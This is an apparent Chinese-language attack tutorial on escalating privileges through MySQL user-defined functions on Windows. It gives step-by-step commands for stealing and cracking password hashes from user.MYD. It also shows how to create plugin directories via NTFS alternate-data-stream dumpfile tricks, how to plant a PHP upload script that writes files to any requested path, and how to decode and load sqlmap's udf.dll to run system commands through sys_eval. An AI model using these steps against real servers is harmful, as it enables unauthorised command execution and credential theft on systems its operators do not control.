一、信息搜集
1、账号密码
MYSQL所有设置默认都保存在“D:\phpStudy\2018\PHPTutorial\MySQL\data”中,也就是安装程序的data目录下,有关用户一共有三个文件即user.frm、user.MYD和 user.MYI,MYSQL数据库用户密码都保存在user.MYD文件中,包括root用户和其他用户的密码。在有权限的情况下,我们可以将User.frm、user.myd和User.myi三个文件下载到本地,通过本地的mysql环境直接读取user表中的数据。当然也可使用文本编辑器将user.MYD打开将root账号的密码复制出来到到cmd5.com进行查询和破解
2、查看数据库安装路径
select @@basedir;
3、查看是否允许导入|导出
show variables like '%secure%';
show global variables like 'secure%';
当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权
secure_file_priv 的值在MySQL数据库的安装目录的 my.ini 文件中配置中,没有代表secure_file_priv 的值为 NULL,可以手动添加
4、查看mysql版本
select version();
5、查看mysql是多少位
select @@version_compile_os;
二、UDF提权条件
(1)Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
(2)Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
(3)掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。
(4)可以将udf.dll写入到相应目录的权限。
三、提权
一般提权都在拿到了一个低权限,在考虑的
1、创建plugin目录
- NTFS ADS流来创建文件夹的方法
select @@basedir; //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录
执行成功以后就会plugin目录,然后再进行导出udf.dll即可。
- 创建一个上传文件
<?php
$temp = explode(".", $_FILES["file"]["name"]);
$img_path = $_GET['save_path']."/". $_FILES["file"]["name"] ;
move_uploaded_file($_FILES["file"]["tmp_name"], "$img_path" );
echo "文件存储在: " . "$img_path" . $_FILES["file"]["name"];
?>
- 目录创建文件
上传一个PHP脚本
<?php
//用于创建文件夹
$name = $_GET['name'];
/*iconv方法是为了防止中文乱码,保证可以创建识别中文目录,不用iconv方法格式的话,将无法创建中文目录*/
$dir = iconv("UTF-8", "GBK",$name);
/**mkdir方法的第一个参数是要创建的目录路径,
**第二个参数是指创建目录的权限,在windows系统下
**该参数会被忽略,第三个参数是指是否创建多级目录,
**默认为false
**/
if (!file_exists($dir)){
if(@mkdir ($dir)){
echo $dir;
}else{
echo "error";
}
}
?>
2、上传udf.dll
SQLmap可以实现导出dll文件,目录在 sqlmap/udf/mysql/windows(这里的32位/64位,指的是mysql的位数),如果位数错误则会报错。
SQLmap里的duf.dll是经过编码的使用 sqlmap/extra/cloak目录下的 cloak.py进行解码
cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_ -o udf.dll
将生成的 udf.dll
上传到 lib/plugin
下
3、创建函数
create function sys_eval returns string soname "lib_mysqludf_sys.dll";
4、执行命令
select sys_eval ('whoami');
5、删除函数
drop function sys_eval;